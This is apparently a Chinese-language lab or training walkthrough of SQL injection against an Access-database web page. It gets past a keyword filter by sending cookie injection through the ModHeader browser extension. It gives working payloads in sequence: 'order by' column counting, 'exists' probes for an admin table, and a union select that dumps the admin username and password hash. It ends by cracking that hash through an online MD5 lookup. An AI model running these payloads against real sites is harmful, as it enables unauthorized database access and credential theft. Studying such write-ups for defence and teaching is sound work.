问题描述
1、构造?id=171 and 1=1 尝试注入
构造字段,发现只要存在select查询关键字就会被拦截

2、尝试cookie注入
我们先把url中的?id=171删除发现页面错误,通过储存下的cookie添加名称和值刷新,发现页面正常显示,可以发现能通过cookie传输数据

因为通过存储中的cookie添加值过于繁琐,所以我们通过插件变简单
这里我们用FireFox举例
扩展和主题/搜索/ModHeader/添加即可

通过ModHeader添加cookie传输数据


通过勾选和取消页面对比,发现插件可以正常使用
构造id=171+order+by+10

构造id=171+order+by+11

我们不断的为字段进行排序,发现当排序到11处,页面出现错误,返回数据库错误,证明此页面存在sql注入,也测试该表有10个字段
1、构造id=171+and+exists(select*from+admin)
构造id=171+and+exists(select+password+from+admin)
构造id=171+and+exists(select+username+from+admin)

发现页面正常显示,说明数据库存在admin表,admin表中存在username,password字段
2、构造id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

发现回显点2,3,7,8,9
由于access数据库的特性,我们构造联合查询的时候前面查询的数据总是放在后面,不会影响我们后面联合查询需要的结果,所以不需要构造and 1=2来使前面的语句查询不出来
1、构造id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

发现用户名密码回显,由于密码b9a2a2b5dffb918c是加密过的,所以我们需要解密,字母+数字的16位组合,很像md5的特征
通过cmd5.com解密

成功获得密码